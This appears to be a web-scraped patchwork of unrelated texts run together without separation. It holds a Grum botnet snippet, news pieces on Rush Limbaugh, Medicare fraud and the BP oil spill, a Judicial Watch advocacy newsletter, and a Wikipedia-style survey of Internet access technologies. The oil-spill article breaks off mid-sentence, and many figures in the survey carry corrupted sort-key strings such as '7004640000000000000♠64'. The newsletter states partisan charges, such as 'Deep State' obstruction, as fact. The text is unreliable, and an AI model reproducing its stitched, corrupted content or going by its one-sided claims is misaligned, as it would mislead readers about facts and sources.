So what’s to say Grum’s creators will not just run their botnet from a new command and control center tomorrow?
“It’s not about creating a new server. They’d have to start an entirely new campaign and infect hundreds of thousands of new machines to get something like Grum started again,” said Atif Mushtaq, a computer security specialist at FireEye.”They’d have to build from scratch. Because of how the malware was written for Grum, when the master server is dead, the infected machines can no longer send spam or communicate with a new server.”8 years ago
Washington (CNN) - Conservative talk radio host Rush Limbaugh offered a vigorous defense of himself and Sarah Palin Monday in response to claims from some media commentators and those on the left that their charged statements and colorful language may have inspired the Arizona shootings.
"[The media] is unnecessarily stirring up the country in ways that don't merit," Limbaugh said on his radio program Monday. "It's fatuous and silly to even verify and justify these accusations by defending them. The premise is insane, it's silly, it's beneath these people. Or is it? It is who they are."
Limbaugh's comments come in response to accusations that the charged political atmosphere of 2010 – of which Limbaugh, Palin, and others played a central role – may have incited the use of violence among troubled individuals like Jared Lee Loughner, the suspect that is accused of opening fire outside a Tucson supermarket, where Rep. Gabrielle Giffords was meeting with constituents Saturday.
"We are we constantly admonished not to rush to conclusions. Now…reporters are bending over backwards to link this shooting to me, to Sarah Palin, to an entire industry - talk radio," Limbaugh said. "Only in these instances is something said in the media said to influence public behavior. Go out and try to tell these same people that one of their top grossing movies has influenced has influenced abject perversion or radical behavior and they will attack you left and right.
"All of this has been pure politics, disguised as compassion and concern for a congresswoman," Limbaugh added.Judicial Watch Pursues Comey FBI Scandal
Election Integrity Update: Georgia’s Right to Clean Voter Rolls
Judicial Watch Sues for Anti-Israel ‘BDS’ Lobbying Records
Judicial Watch Pursues Comey FBI Scandal
Former FBI Director James Comey sits in a firestorm of his own making. By his own admission, he created and then leaked memos to ensure that a special counsel would be appointed to investigate President Trump. It looks as if Comey broke government rules and laws as part of his machinations. Special Counsel Mueller is unlikely to investigate his friend Comey, and so it is up to your Judicial Watch to do the work of the Justice Department, FBI, Congress, and the media.
For that reason, we have filed a Freedom of Information Act (FOIA) lawsuit against the Department of Justice for all non-disclosure agreements pertaining to the handling, storage, protection, dissemination, and/or return of classified information that were signed by or on behalf of former FBI Director James Comey (Judicial Watch v. U.S. Department of Justice (No. 1:17-cv-01624)).
The suit was filed in the U.S. District Court for the District of Columbia after the Justice Department failed to respond to our June 13, 2017, FOIA request seeking “any and all non-disclosure agreements pertaining in full or in part to the handling, storage, protection, dissemination, and/or return of classified and/or sensitive information that were signed by or on behalf of former FBI Director James Comey.” Such records would include:
All SF-312 (Classified Information Nondisclosure Agreement) forms
All FD-857 (Sensitive Information Nondisclosure Agreement) forms
All FD-597 (Receipt for Property Received/Returned/Released or Seized) forms
All FD-291 (FBI Employment Agreement) forms
All Case Briefing Acknowledgement forms
In June, Judicial Watch sent the FBI a warning letter concerning the FBI’s legal responsibility under the Federal Records Act (FRA) to recover records, including memos Comey subsequently leaked to the media and unlawfully removed from the bureau by Comey. Judicial Watch later filed a FOIA lawsuit against the Department of Justice for information about Comey’s memorandum written after his meeting with President Trump regarding potential interference by the Russians in the 2016 presidential election (Judicial Watch v. U.S. Department of Justice (No. 1:17-cv-01189)).
In July, we filed a FOIA lawsuit against the Department of Justice for the metadata for the memoranda written by Comey memorializing his conversations with President Donald Trump as well as records about Comey’s FBI-issued laptop computer or other electronic devices and records about how Comey managed his records while he was FBI Director (Judicial Watch, Inc., v. U.S. Department of Justice (No. 17-cv-01520)). The metadata information may include details about when the memos were created or edited and by whom.
How is it the FBI allowed Mr. Comey to walk out the door with sensitive documents about President Trump? It is remarkable that we must sue the FBI in federal court to get answers about this scandal.
Election Integrity Update: Georgia’s Right to Clean Voter Rolls
I’m hoping that the momentum is now on the side of cleaning up voting rolls and ensuring fair elections nationwide. We are taking multiple steps around the country toward that end. Let me tell you about one of them.
We have again joined with the Allied Educational Foundation (AEF) in filing an amici curiae brief in the U.S. Court of Appeals for the Eleventh Circuit in support of the State of Georgia’s efforts to ensure that its voter rolls are up to date. The case is on appeal from the United States District Court for the Northern District of Georgia (Common Cause, et al., v. Brian Kemp, Georgia Secretary of State (No. 1:16-cv-00452)).
In ruling against plaintiff, the liberal activist group Common Cause, the district court held that Georgia’s use of voter data to initiate the address-confirmation procedure for cleaning voter rolls does not violate the plain language and congressional intent of the National Voter Registration Act (NVRA).
Simply put, Georgia’s voter-roll cleaning procedure does not violate the NVRA:
[Georgia’s procedure] is in perfect accord with the NVRA. Voters are not removed for failing to vote, as Appellants maintain. Rather, they are removed for failing to respond to a notice and then failing to engage in voting activity for two federal elections. Appellants’ attempt to stretch the notion of causation beyond its natural bounds to refer equally to all prior causes in a chain of causes is not warranted by logic or by the law.
We know Georgia has problems. We found at least 10 counties in the state had more names registered to vote than the actual eligible voters.
The Obama Justice Department and its allies on the Left were fanatical in their efforts to undermine election integrity measures. Dirty election rolls mean dirty elections. The Eleventh Circuit should affirm the district court’s decision allowing Georgia to continue to ensure that dead people, those who have moved to other states and other ineligible names are removed from its voter registration lists.
In the meantime, your JW will continue its voting lists clean-up efforts in at least a dozen states. The election integrity battle is central to the very idea of self-government, so stay tuned.
Judicial Watch Sues for Anti-Israel ‘BDS’ Lobbying Records
President Barack Obama barely concealed his disdain for Israel, and that bias found its way into the actions of his administration. Here is a good example.
We filed two Freedom of Information Act (FOIA) lawsuits against the U.S. Department of Homeland Security (DHS) and the U.S. Department of State for records about the anti-Israel group BDS’s (Boycott, Divestment and Sanctions) lobbying of the Obama administration to ignore trade laws that protect Israel.
We filed a FOIA lawsuit in the U.S. District Court for the District of Columbia after the DHS failed to respond to two June 20 FOIA requests, one to the department itself and one to the U.S. Customs and Border Protection Bureau (CBP), a component of DHS (Judicial Watch v. U.S. Department of Homeland Security (No. 1:17-cv-1650)). We are seeking:
All emails which mention West Bank country-of-origin marking requirements, and were sent between [DHS or CBP] and any of the following groups: Act Now to Stop War and End Racism, Al-Awda, the Council on American-Islamic Relations, Friends of Sabeel-North America, If Americans Knew, the International Solidarity Movement, Jewish Voice for Peace, the Muslim American Society, Students for Justice in Palestine, or the US Campaign to End the Israeli Occupation (the “BDS Groups”).
All emails internal to [DHS and/or CBP] discussing the efforts of the BDS Groups to strengthen enforcement of the West Bank country-of-origin marking requirements.
We also filed a FOIA lawsuit against the State Department after it failed to respond to a June 20 request (Judicial Watch v. U.S. Department of State (No. 1:17-cv-01651)). We are seeking:
All emails which mention protections for Israel in the Trade Facilitation and Trade Enforcement Act of 2015, and were sent between [State Department] and any of the following groups: Act Now to Stop War and End Racism, Al-Awda, the Council on American-Islamic Relations, Friends of Sabeel-North America, If Americans Knew, the International Solidarity Movement, Jewish Voice for Peace, the Muslim American Society, Students for Justice in Palestine, or the US Campaign to End the Israeli Occupation (the “BDS Groups”).
All internal [State Department] emails discussing the efforts of the BDS Groups to limit protections for Israel in the Trade Facilitation and Trade Enforcement Act of 2015.
Here is the background. In February 2016 President Obama signed the Trade Facilitation and Trade Enforcement Act of 2015 into law. It forces U.S. trade partners to cut ties to the BDS movement and protects Israel territories. But Obama announced:
Certain provisions of this Act, by conflating Israel and “Israeli-controlled territories,” are contrary to longstanding bipartisan United States policy, including with regard to the treatment of settlements. Moreover, consistent with longstanding constitutional practice, my Administration will interpret and implement the provisions in the Act that purport to direct the Executive to seek to negotiate and enter into particular international agreements (section 414(a)(1)) or to take certain positions in international negotiations with respect to international agreements with foreign countries not qualifying for trade authorities procedures (sections 108(b), 414(a)(2), 415, and 909(c)) in a manner that does not interfere with my constitutional authority to conduct diplomacy.
But shortly after Obama signed the act, his customs agency restated the West Bank Country of Origin Marking Requirement rules requiring labeling of goods from the West Bank. The Jerusalem Post later reported that the restated rules were a result of several complaints filed by activists seeking to have the U.S. follow policy guidelines distinguishing goods produced from Israel and the West Bank.
The West Bank country-of-origin marking requirements are said to stem from “longstanding bipartisan U.S. policy” toward the Israeli-Palestinian conflict. First put in place in 1995 under the Clinton administration, the rule is to preserve the distinction between the goods produced in the State of Israel and the goods produced in the territories it controls over the Green Line.
The pernicious BDS movement was started by the PLO and other anti-Israel groups to encourage an economic and cultural boycott of Israel. It has gained the support of radical leftwing groups in the United States, especially on college campuses.
President Obama advanced the agenda of anti-Israel radicals in subverting U.S. law that rejects the malicious anti-Israel boycott movement. And it is no surprise the Deep State ignores our FOIA requests that could expose the Obama-BDS connections. It is well past time for the Trump administration to stop this obstruction and follow the FOIA law.
Until next week …An Armenian-American crime syndicate stole the identities of doctors and thousands of patients and used them and more than a hundred spurious clinics in 25 states to bill Medicare for more than $100 million for treatments no doctor ever performed and no patient ever received, the federal authorities announced on Wednesday.
Prosecutors said the case represented the largest Medicare fraud operation ever carried out by a single group that resulted in criminal charges. The group succeeded in stealing $35 million in Medicare reimbursements, officials said, before the charges were leveled and arrests were made on Wednesday.
The “highly organized massive scheme” is at the heart of a racketeering indictment and other charges unsealed in federal court against 44 people, including a number of members of the Armenian crime group, according to the F.B.I. and federal prosecutors in New York and Georgia.
“With 118 phantom clinics and over $100 million in bogus billings, this group of international gangsters allegedly ran a veritable fraud franchise,” Preet Bharara, the United States attorney in Manhattan, said in a statement announcing the charges. “As charged, they stole taxpayer dollars earmarked for the elderly and infirm and got away with it, until now.”
As of early Wednesday afternoon, 41 of the people accused had been arrested, 21 of them in the New York City area, and a number of others in Los Angeles and elsewhere, the authorities said. They included Armen Kazarian, whom the authorities identified as a “Vor,” a term that means “thief-in-law” and refers to a member of a select group of high-level criminals from Russia and the countries that had been part of the Soviet Union, including Armenia.
Prosecutors said that Mr. Kazarian’s arrest signified the first time a Vor has been charged in the United States with racketeering crime, and the first time since 1996 that a known Vor has been arrested on any federal charge.
The indictments (see also below) were announced at a Wednesday afternoon news conference by Mr. Bharara; Janice K. Fedarcyk, the assistant director in charge of the New York F.B.I. office; James T. Hayes Jr., the special agent in charge of the New York Office of Homeland Security Investigations; Police Commissioner Raymond W. Kelly; and other officials.
“The diabolical beauty of the Medicare fraud scheme — from the criminals’ standpoint — was that it was completely notional,” Ms. Fedarcyk said in a statement released in the early afternoon. “There were no real medical clinics behind the fraudulent billings, just stolen doctors’ identities. There were no runners or colluding patients showing up at clinics for unneeded or “upcoded” treatments, just stolen patient identities. The whole doctor-patient interaction was a mirage.”
Twenty-eight of 44 defendants were named in a racketeering indictment unsealed in New York. Additional indictments were unsealed on Wednesday in related cases by the United States attorneys in Los Angeles, Cleveland, Albuquerque, and Savannah, Ga.
The group used the stolen identities of the doctors and patients to bill Medicare for more than $100 million in nonexistent treatments over four years, according to a news release announcing the charge. And while the news release said Medicare would identify and shut down the bogus clinics after several months, in many cases “Medicare had already paid millions of dollars to the phony clinics — more than $35 million in total — and that money had already been withdrawn and sometimes transferred overseas.”
The group, official said, was aware that each clinic had a limited shelf life and would simply turn to another fraudulent clinic — they existed only on paper with an address that was usually a mail drop — operating at least 118 in 25 states.
The racketeering indictment charges 28 defendants, including Mr. Kazarian, with crimes tied to the operation of the Armenian-American organized crime group, which it identifies as the Mirzoyan-Terdjanian Organization, a nationwide criminal operation with strong ties to Armenia. The group’s leadership is based in New York and Los Angeles, but its operations extend throughout the United States and overseas.
The indictment maintains that that the scheme operated with the assistance of, and under the protection of, Mr. Kazarian. The group’s members and associates are charged with numerous crimes, including racketeering, health care fraud, identity theft, money laundering and bank fraud. The indictment says members and associates of the organization are alleged to have used violence and threats of violence to ensure respect for and payments to its leadership.On "AC360" tonight, five survivors of the BP oil rig explosion tell Anderson Cooper how they got out alive. Watch "AC360" tonight, live from the Gulf at 10 ET.
(CNN) -- Workers scraped oil off beaches and skimmed it out of waterways from Louisiana to the Florida Panhandle on Monday, but the impact of the Gulf oil disaster will be felt for years, authorities said.
"My concern is after everything is cleaned up, if they can clean it all up, and they leave, what is our business going to be like?" said Dudley Gaspard, owner of the Sand Dollar Marina and Hotel on hard-hit Grand Isle, Louisiana. "Oil's coming in pretty heavy, into the marsh area now, and we're not sure -- we're kind of in the dark."
Restoring wetlands and wildlife habitats along the Gulf Coast will take far beyond the time needed to cap the ruptured undersea well at the heart of the disaster, Coast Guard Adm. Thad Allen, the head of the federal government's response effort, told reporters at the White House.
"Dealing with the oil spill on the surface is going to go on for a couple of months. After that it'll be taken care of," Allen said. "Long-term issues of restoring the environment and the habitats and stuff will be years."
Workers involved in the cleanup face possible long-term health hazards without proper protective gear, and the region's environment may retain hazardous chemicals left behind by the spill, witnesses told members of Congress during a hearing in Louisiana.
On Day 49 of the spill, heavy oil was spotted off Louisiana's Barataria Bay, near the mouth of Wilkinson Bay and in nearby Four Bayou Pass, the state Office of Homeland Security and Emergency Preparedness reported. Mississippi state agencies reported tar balls hitting the Mississippi coast at several points, while more tar balls ranging in size from less than an inch to about four inches across hit the Florida Panhandle, the Escambia County Commission said.
Dead wildlife has now been reported in the region, and Allen said Monday that patches of shoreline totaling roughly 120 miles long have been affected by the spill. The spill has broken up into a series of pools, ranging from 20 to 100 yards to several miles long.
Oil company BP has managed to place a loose-fitting cap over the ruptured well, 5,000 feet below the surface of the Gulf and about 40 miles off Louisiana. The amount of crude collected Sunday through that cap increased to roughly 466,000 gallons (11,100 barrels), according to estimates from BP and Allen.
The gusher won't be completely stopped until BP completes drilling a relief well, a process that is expected to last at least until August.
Under federal law, BP -- which owns the damaged well at the heart of the catastrophe -- is responsible for paying for the cleanup. President Obama warned the company against "nickel-and-diming" communities affected by the largest oil spill in U.S. history.
Obama has endorsed lifting the $75 million cap on damages for oil spills resulting from offshore drilling, a White House spokesman said Monday.
Obama also delivered a blunt defense of his administration's response to the spill, telling NBC's "Today" show that he has held meetings with experts to learn "whose ass to kick."
Full coverage of oil spill
"I don't sit around talking to experts because this is a college seminar," the president said in an interview scheduled to air Tuesday. "We talk to these folks because they potentially have the best answers, so I know whose ass to kick."
But with losses mounting among hoteliers, fishermen and others whose livelihoods have been curtailed by the spill, frustration is "rapidly escalating" along the Gulf Coast, said Kelby Linn, a real estate agent and Chamber of Commerce official on Alabama's Dauphin Island.
Linn told a House Energy and Commerce subcommittee Monday that the amount of money BP has paid local residents for their losses has typically been about $5,000, a sum he dismissed as "a marketing ploy." Businesses like his vacation rental company are borrowing money to pay their overhead costs, which he called "the only way we're going to keep our business alive."
"We do not feel that BP is going to be stepping up to the plate," he said.
The investigative subcommittee met Monday in the New Orleans suburb of Chalmette, Louisiana, where local experts painted a stark picture of what lay ahead for the region. Moby Solangi, executive director of the Mississippi-based Institute for Marine Mammal Studies, said the oil and the chemical dispersants used to break it up could have devastating long-term effects on fish and wildlife.
"There are serious consequences from the area, especially the wetlands and the bays and the bayous that are the area [of] critical habitat for young fish and shrimp and others to develop," Solangi said. He said the chemicals and dispersants are likely to be consumed up the food chain into larger and larger fish and mammals such as dolphins, thousands of which live in the affected area.
"Eventually, the dolphins become the the canary in the mine," he said. "And by monitoring them, we can monitor the environment. What ultimately happens to the dolphins will happen to us."
BP needs to do more to make sure that workers assisting in the cleanup have proper respirators to protect them from the fumes given off by the crude, said Wilma Subra, a chemist who advises several environmental groups in Louisiana. Several people taking part in the response have already reported falling ill, and Subra said BP has told workers not to wear respirators because they might increase their risk of heatstroke.
"Shrimpers that have been employed to do the booms were actually pulling in the booms with the
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infrastructure beyond the already existing telephone network, to connect to the Internet. Typically, dial-up connections do not exceed a speed of 56 kbit/s, as they are primarily made using modems that operate at a maximum data rate of 56 kbit/s downstream (towards the end user) and 34 or 48 kbit/s upstream (toward the global Internet).[10]
Multilink dial-up [ edit ]
Multilink dial-up provides increased bandwidth by channel bonding multiple dial-up connections and accessing them as a single data channel.[31] It requires two or more modems, phone lines, and dial-up accounts, as well as an ISP that supports multilinking – and of course any line and data charges are also doubled. This inverse multiplexing option was briefly popular with some high-end users before ISDN, DSL and other technologies became available. Diamond and other vendors created special modems to support multilinking.[32]
Integrated Services Digital Network [ edit ]
Integrated Services Digital Network (ISDN) is a switched telephone service capable of transporting voice and digital data, as well as one of the oldest Internet access methods. ISDN has been used for voice, video conferencing, and broadband data applications. ISDN was very popular in Europe, but less common in North America. Its use peaked in the late 1990s before the availability of DSL and cable modem technologies.[33]
Basic rate ISDN, known as ISDN-BRI, has two 64 kbit/s "bearer" or "B" channels. These channels can be used separately for voice or data calls or bonded together to provide a 128 kbit/s service. Multiple ISDN-BRI lines can be bonded together to provide data rates above 128 kbit/s. Primary rate ISDN, known as ISDN-PRI, has 23 bearer channels (64 kbit/s each) for a combined data rate of 1.5 Mbit/s (US standard). An ISDN E1 (European standard) line has 30 bearer channels and a combined data rate of 1.9 Mbit/s.
Leased lines [ edit ]
Leased lines are dedicated lines used primarily by ISPs, business, and other large enterprises to connect LANs and campus networks to the Internet using the existing infrastructure of the public telephone network or other providers. Delivered using wire, optical fiber, and radio, leased lines are used to provide Internet access directly as well as the building blocks from which several other forms of Internet access are created.[34]
T-carrier technology dates to 1957 and provides data rates that range from 56 and 7004640000000000000♠64 kbit/s (DS0) to 7006150000000000000♠1.5 Mbit/s (DS1 or T1), to 7007450000000000000♠45 Mbit/s (DS3 or T3). A T1 line carries 24 voice or data channels (24 DS0s), so customers may use some channels for data and others for voice traffic or use all 24 channels for clear channel data. A DS3 (T3) line carries 28 DS1 (T1) channels. Fractional T1 lines are also available in multiples of a DS0 to provide data rates between 56 and 7006150000000000000♠1500 kbit/s. T-carrier lines require special termination equipment that may be separate from or integrated into a router or switch and which may be purchased or leased from an ISP.[35] In Japan the equivalent standard is J1/J3. In Europe, a slightly different standard, E-carrier, provides 32 user channels (7004640000000000000♠64 kbit/s) on an E1 (7006200000000000000♠2.0 Mbit/s) and 512 user channels or 16 E1s on an E3 (7007344000000000000♠34.4 Mbit/s).
Synchronous Optical Networking (SONET, in the U.S. and Canada) and Synchronous Digital Hierarchy (SDH, in the rest of the world) are the standard multiplexing protocols used to carry high-data-rate digital bit-streams over optical fiber using lasers or highly coherent light from light-emitting diodes (LEDs). At lower transmission rates data can also be transferred via an electrical interface. The basic unit of framing is an OC-3c (optical) or STS-3c (electrical) which carries 7008155520000000000♠155.520 Mbit/s. Thus an OC-3c will carry three OC-1 (51.84 Mbit/s) payloads each of which has enough capacity to include a full DS3. Higher data rates are delivered in OC-3c multiples of four providing OC-12c (7008622080000000000♠622.080 Mbit/s), OC-48c (7009248800000000000♠2.488 Gbit/s), OC-192c (7009995300000000000♠9.953 Gbit/s), and OC-768c (39.813 Gbit/s). The "c" at the end of the OC labels stands for "concatenated" and indicates a single data stream rather than several multiplexed data streams.[34]
The 1, 10, 40, and 100 gigabit Ethernet (GbE, 10 GbE, 40/100 GbE) IEEE standards (802.3) allow digital data to be delivered over copper wiring at distances to 100 m and over optical fiber at distances to 7004400000000000000♠40 km.[36]
Cable Internet access [ edit ]
Cable Internet provides access using a cable modem on hybrid fiber coaxial wiring originally developed to carry television signals. Either fiber-optic or coaxial copper cable may connect a node to a customer's location at a connection known as a cable drop. In a cable modem termination system, all nodes for cable subscribers in a neighborhood connect to a cable company's central office, known as the "head end." The cable company then connects to the Internet using a variety of means – usually fiber optic cable or digital satellite and microwave transmissions.[37] Like DSL, broadband cable provides a continuous connection with an ISP.
Downstream, the direction toward the user, bit rates can be as much as 400 Mbit/s for business connections, and 320 Mbit/s for residential service in some countries. Upstream traffic, originating at the user, ranges from 384 kbit/s to more than 20 Mbit/s. Broadband cable access tends to service fewer business customers because existing television cable networks tend to service residential buildings and commercial buildings do not always include wiring for coaxial cable networks.[38] In addition, because broadband cable subscribers share the same local line, communications may be intercepted by neighboring subscribers. Cable networks regularly provide encryption schemes for data traveling to and from customers, but these schemes may be thwarted.[37]
Digital Subscriber Line (DSL) service provides a connection to the Internet through the telephone network. Unlike dial-up, DSL can operate using a single phone line without preventing normal use of the telephone line for voice phone calls. DSL uses the high frequencies, while the low (audible) frequencies of the line are left free for regular telephone communication.[10] These frequency bands are subsequently separated by filters installed at the customer's premises.
DSL originally stood for "digital subscriber loop". In telecommunications marketing, the term digital subscriber line is widely understood to mean Asymmetric Digital Subscriber Line (ADSL), the most commonly installed variety of DSL. The data throughput of consumer DSL services typically ranges from 256 kbit/s to 20 Mbit/s in the direction to the customer (downstream), depending on DSL technology, line conditions, and service-level implementation. In ADSL, the data throughput in the upstream direction, (i.e. in the direction to the service provider) is lower than that in the downstream direction (i.e. to the customer), hence the designation of asymmetric.[39] With a symmetric digital subscriber line (SDSL), the downstream and upstream data rates are equal.[40]
Very-high-bit-rate digital subscriber line (VDSL or VHDSL, ITU G.993.1)[41] is a digital subscriber line (DSL) standard approved in 2001 that provides data rates up to 52 Mbit/s downstream and 16 Mbit/s upstream over copper wires[42] and up to 85 Mbit/s down- and upstream on coaxial cable.[43] VDSL is capable of supporting applications such as high-definition television, as well as telephone services (voice over IP) and general Internet access, over a single physical connection.
VDSL2 (ITU-T G.993.2) is a second-generation version and an enhancement of VDSL.[44] Approved in February 2006, it is able to provide data rates exceeding 100 Mbit/s simultaneously in both the upstream and downstream directions. However, the maximum data rate is achieved at a range of about 300 meters and performance degrades as distance and loop attenuation increases.
DSL Rings [ edit ]
DSL Rings (DSLR) or Bonded DSL Rings is a ring topology that uses DSL technology over existing copper telephone wires to provide data rates of up to 400 Mbit/s.[45]
Fiber to the home [ edit ]
Fiber-to-the-home (FTTH) is one member of the Fiber-to-the-x (FTTx) family that includes Fiber-to-the-building or basement (FTTB), Fiber-to-the-premises (FTTP), Fiber-to-the-desk (FTTD), Fiber-to-the-curb (FTTC), and Fiber-to-the-node (FTTN).[46] These methods all bring data closer to the end user on optical fibers. The differences between the methods have mostly to do with just how close to the end user the delivery on fiber comes. All of these delivery methods are similar to hybrid fiber-coaxial (HFC) systems used to provide cable Internet access.
The use of optical fiber offers much higher data rates over relatively longer distances. Most high-capacity Internet and cable television backbones already use fiber optic technology, with data switched to other technologies (DSL, cable, POTS) for final delivery to customers.[47]
Australia began rolling out its National Broadband Network across the country using fiber-optic cables to 93 percent of Australian homes, schools, and businesses.[48] The project was abandoned by the subsequent LNP government, in favour of a hybrid FTTN design, which turned out to be more expensive and introduced delays. Similar efforts are underway in Italy, Canada, India, and many other countries (see Fiber to the premises by country).[49][50][51][52]
Power-line Internet [ edit ]
Power-line Internet, also known as Broadband over power lines (BPL), carries Internet data on a conductor that is also used for electric power transmission.[53] Because of the extensive power line infrastructure already in place, this technology can provide people in rural and low population areas access to the Internet with little cost in terms of new transmission equipment, cables, or wires. Data rates are asymmetric and generally range from 256 kbit/s to 2.7 Mbit/s.[54]
Because these systems use parts of the radio spectrum allocated to other over-the-air communication services, interference between the services is a limiting factor in the introduction of power-line Internet systems. The IEEE P1901 standard specifies that all power-line protocols must detect existing usage and avoid interfering with it.[54]
Power-line Internet has developed faster in Europe than in the U.S. due to a historical difference in power system design philosophies. Data signals cannot pass through the step-down transformers used and so a repeater must be installed on each transformer.[54] In the U.S. a transformer serves a small cluster of from one to a few houses. In Europe, it is more common for a somewhat larger transformer to service larger clusters of from 10 to 100 houses. Thus a typical U.S. city requires an order of magnitude more repeaters than in a comparable European city.[55]
ATM and Frame Relay [ edit ]
Asynchronous Transfer Mode (ATM) and Frame Relay are wide-area networking standards that can be used to provide Internet access directly or as building blocks of other access technologies. For example, many DSL implementations use an ATM layer over the low-level bitstream layer to enable a number of different technologies over the same link. Customer LANs are typically connected to an ATM switch or a Frame Relay node using leased lines at a wide range of data rates.[56][57]
While still widely used, with the advent of Ethernet over optical fiber, MPLS, VPNs and broadband services such as cable modem and DSL, ATM and Frame Relay no longer play the prominent role they once did.
Wireless broadband access [ edit ]
Wireless broadband is used to provide both fixed and mobile Internet access with the following technologies.
Satellite broadband [ edit ]
Satellite Internet access via VSAT in Ghana
Satellite Internet access provides fixed, portable, and mobile Internet access.[58] Data rates range from 2 kbit/s to 1 Gbit/s downstream and from 2 kbit/s to 10 Mbit/s upstream. In the northern hemisphere, satellite antenna dishes require a clear line of sight to the southern sky, due to the equatorial position of all geostationary satellites. In the southern hemisphere, this situation is reversed, and dishes are pointed north.[59][60] Service can be adversely affected by moisture, rain, and snow (known as rain fade).[59][60][61] The system requires a carefully aimed directional antenna.[60]
Satellites in geostationary Earth orbit (GEO) operate in a fixed position 35,786 km (22,236 miles) above the Earth's equator. At the speed of light (about 300,000 km/s or 186,000 miles per second), it takes a quarter of a second for a radio signal to travel from the Earth to the satellite and back. When other switching and routing delays are added and the delays are doubled to allow for a full round-trip transmission, the total delay can be 0.75 to 1.25 seconds. This latency is large when compared to other forms of Internet access with typical latencies that range from 0.015 to 0.2 seconds. Long latencies negatively affect some applications that require real-time response, particularly online games, voice over IP, and remote control devices.[62][63] TCP tuning and TCP acceleration techniques can mitigate some of these problems. GEO satellites do not cover the Earth's polar regions.[59] HughesNet, Exede, AT&T and Dish Network have GEO systems.[64][65][66][67]
Satellites in low Earth orbit (LEO, below 2000 km or 1243 miles) and medium Earth orbit (MEO, between 2000 and 35,786 km or 1,243 and 22,236 miles) are less common, operate at lower altitudes, and are not fixed in their position above the Earth. Lower altitudes allow lower latencies and make real-time interactive Internet applications more feasible. LEO systems include Globalstar and Iridium. The O3b Satellite Constellation is a proposed MEO system with a latency of 125 ms. COMMStellation™ is a LEO system, scheduled for launch in 2015, that is expected to have a latency of just 7 ms.
Mobile broadband [ edit ]
Mobile broadband is the marketing term for wireless Internet access delivered through mobile phone towers to computers, mobile phones (called "cell phones" in North America and South Africa, and "hand phones" in Asia), and other digital devices using portable modems. Some mobile services allow more than one device to be connected to the Internet using a single cellular connection using a process called tethering. The modem may be built into laptop computers, tablets, mobile phones, and other devices, added to some devices using PC cards, USB modems, and USB sticks or dongles, or separate wireless modems can be used.[68]
New mobile phone technology and infrastructure is introduced periodically and generally involves a change in the fundamental nature of the service, non-backwards-compatible transmission technology, higher peak data rates, new frequency bands, wider channel frequency bandwidth in Hertz becomes available. These transitions are referred to as generations. The first mobile data services became available during the second generation (2G).
Fourth generation (4G) from 2006: Speeds in Mbit/s down up · HSPA+ 21–672 5.8–168 · Mobile WiMAX (802.16) 37–365 17–376 · LTE 100–300 50–75 · LTE-Advanced: · moving at higher speeds 100 Mbit/s · not moving or moving at lower speeds up to 1000 Mbit/s · MBWA (802.20) 80 Mbit/s
The download (to the user) and upload (to the Internet) data rates given above are peak or maximum rates and end users will typically experience lower data rates.
WiMAX was originally developed to deliver fixed wireless service with wireless mobility added in 2005. CDPD, CDMA2000 EV-DO, and MBWA are no longer being actively developed.
In 2011, 90% of the world's population lived in areas with 2G coverage, while 45% lived in areas with 2G and 3G coverage.[69]
WiMAX [ edit ]
Worldwide Interoperability for Microwave Access (WiMAX) is a set of interoperable implementations of the IEEE 802.16 family of wireless-network standards certified by the WiMAX Forum. WiMAX enables "the delivery of last mile wireless broadband access as an alternative to cable and DSL".[70] The original IEEE 802.16 standard, now called "Fixed WiMAX", was published in 2001 and provided 30 to 40 megabit-per-second data rates.[71] Mobility support was added in 2005. A 2011 update provides data rates up to 1 Gbit/s for fixed stations. WiMax offers a metropolitan area network with a signal radius of about 50 km (30 miles), far surpassing the 30-metre (100-foot) wireless range of a conventional Wi-Fi local area network (LAN). WiMAX signals also penetrate building walls much more effectively than Wi-Fi.
Wireless ISP [ edit ]
Wi-Fi logo
Wireless Internet service providers (WISPs) operate independently of mobile phone operators. WISPs typically employ low-cost IEEE 802.11 Wi-Fi radio systems to link up remote locations over great distances (Long-range Wi-Fi), but may use other higher-power radio communications systems as well.
Traditional 802.11a/b/g/n/ac is an unlicensed omnidirectional service designed to span between 100 and 150 m (300 to 500 ft). By focusing the radio signal using a directional antenna (where allowed by regulations), 802.11 can operate reliably over a distance of many km(miles), although the technology's line-of-sight requirements hamper connectivity in areas with hilly or heavily foliated terrain. In addition, compared to hard-wired connectivity, there are security risks (unless robust security protocols are enabled); data rates are usually slower (2 to 50 times slower); and the network can be less stable, due to interference from other wireless devices and networks, weather and line-of-sight problems.[72]
With the increasing popularity of unrelated consumer devices operating on the same 2.4 GHz band, many providers have migrated to the 5GHz ISM band. If the service provider holds the necessary spectrum license, it could also reconfigure various brands of off the shelf Wi-Fi hardware to operate on its own band instead of the crowded unlicensed ones. Using higher frequencies carries various advantages:
usually regulatory bodies allow for more power and using (better-) directional antennae,
there exists much more bandwidth to share, allowing both better throughput and improved coexistence,
there are less consumer devices that operate over 5 GHz than on 2.4 GHz, hence less interferers are present,
the shorter wavelengths propagate much worse through walls and other structure, so much less interference leaks outside of the homes of consumers.
Proprietary technologies like Motorola Canopy & Expedience can be used by a WISP to offer wireless access to rural and other markets that are hard to reach using Wi-Fi or WiMAX. There are a number of companies that provide this service.[73]
Local Multipoint Distribution Service [ edit ]
Local Multipoint Distribution Service (LMDS) is a broadband wireless access technology that uses microwave signals operating between 26 GHz and 29 GHz.[74] Originally designed for digital television transmission (DTV), it is conceived as a fixed wireless, point-to-multipoint technology for utilization in the last mile. Data rates range from 64 kbit/s to 155 Mbit/s.[75] Distance is typically limited to about 1.5 miles (2.4 km), but links of up to 5 miles (8 km) from the base station are possible in some circumstances.[76]
LMDS has been surpassed in both technological and commercial potential by the LTE and WiMAX standards.
Hybrid Access Networks [ edit ]
In some regions, notably in rural areas, the length of the copper lines makes it difficult for network operators to provide high bandwidth services. An alternative is to combine a fixed access network, typically XDSL, with a wireless network, typically LTE. The Broadband Forum has standardised an architecture for such Hybrid Access Networks.
Non-commercial alternatives for using Internet services [ edit ]
Grassroots wireless networking movements [ edit ]
Deploying multiple adjacent Wi-Fi access points is sometimes used to create city-wide wireless networks.[77] It is usually ordered by the local municipality from commercial WISPs.
Grassroots efforts have also led to wireless community networks widely deployed at numerous countries, both developing and developed ones. Rural wireless-ISP installations are typically not commercial in nature and are instead a patchwork of systems built up by hobbyists mounting antennas on radio masts and towers, agricultural storage silos, very tall trees, or whatever other tall objects are available.
Where radio spectrum regulation is not community-friendly, the channels are crowded or when equipment can not be afforded by local residents, free-space optical communication can also be deployed in a similar manner for point to point transmission in air (rather than in fiber optic cable).
